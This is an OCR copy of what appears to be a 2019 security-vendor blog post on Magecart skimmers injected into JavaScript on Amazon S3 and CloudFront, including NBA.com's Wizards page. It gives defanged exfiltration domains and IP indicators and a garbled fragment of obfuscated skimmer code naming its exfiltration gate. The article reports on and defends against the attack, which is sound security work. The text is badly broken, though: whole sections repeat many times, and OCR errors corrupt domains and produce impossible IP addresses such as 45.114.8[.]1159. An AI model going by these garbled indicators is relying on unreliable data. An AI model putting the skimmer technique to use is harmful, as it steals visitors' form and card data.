other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . Jcom/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

Page 91 of 351


https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://krebsonsecurity.com/2015/05/security-firm-redefines-apt-african-phishing-threat/#more-30967

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

%‘—cloud.com .pjs—clouclhost.com

o8 %

£245114.8.162 £345114.8.163

- £
l '
~

Pccln—imgcloud.cc:m
- --QASJ\I 55933
451148150 1 o /

a / | E45.1148.160
-.:-"'P

N |
|.\\“\ﬂ li:l45.1 14.8.161
i+1

ww-filecloud.com |—Of0nt_asset5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
== =
&P Washington Wizards | The Offic- % +
C @ nhttps//www.nba.com/wizards/ * O
fﬂ - -
CNBA GIOBAL  TEAMSY  GLEAGUE  WNBA  NBASTORE  NBALEAGUEPASS

FRESENTED BY capi;;m
Team Tickets  Schedule  Multimedia  Community News  More B3 O Q

Fans

WATCHLIVE ~ — Swati——

GetMonumental.com MYSTICS GAMES'I Wizards Dancers

@ DevTools - www.nba.com/wizards/ = -m

[w ﬂ Elements Console Sources MNetwork Performance Memory Application Security Audits Q11 A4
Page » it [ wizardsjs wizards.js:formatted X [0
» O raw.githubusercont | 1693 -~

Dor oxssdeac - s Exfiltration gate: https://wix-cloud.com/img

72 | JOX55d63€E[_@x551F( 0x16')] = '[x6B\XTA\NTA\XTO\XT3\ X3 \X2F\ X2 F\XTT\ X6\ K78\ x2d\X63 \XEC\ X6 F\XT5\ K64 \X.
_@x55d63c M \xB1\xT4\xEL"] = {};

_Bx55d63c[_@x551F(" ! [1;

_Bx55d63c[_@x551F(" ! N H

_@x55d63c[_@x551F( '@x19")] = Ffunction(_g8x4del3ge) {

» (Y s3.amazonaws.com

v wsaimages/js

H

wizards.js

» (Y secure.adnxs.com

» (O secure.quantserve.c .

if (_@xdel3fe.id !== undefined && _Oxfel3fe.id != ' &% _@xdel3%e.id !== null && _@x4el3fe.value
r O securepubads.g.dot if { @wfbbeab{ @x2bd6f7( @x2bd6f7( @xdeldfe.value. '\x2d'. ''). "\x28'. '')) && @x395e49( @ 7
» O smetrics.nba.com y 3
» (Y srv-2019-06-09-04, AV GTAVIEAVEEAV RV EEVE WV VeV eV TS R el VRV T e GVl RV M |'\ A | Aa .” Cancel
» (™ svnc.ecal.com M
Fl » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]Jcom/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.

== =
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WATCHLIVE - i“weLi=—
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

Page 112 of 351


https://krebsonsecurity.com/2015/05/security-firm-redefines-apt-african-phishing-threat/#more-30967
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/05/VT_graph.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/05/VT_graph.png
https://securitytrails.com/domain/font-assets.com/history/a
https://securitytrails.com/domain/ww1-filecloud.com/history/a
https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

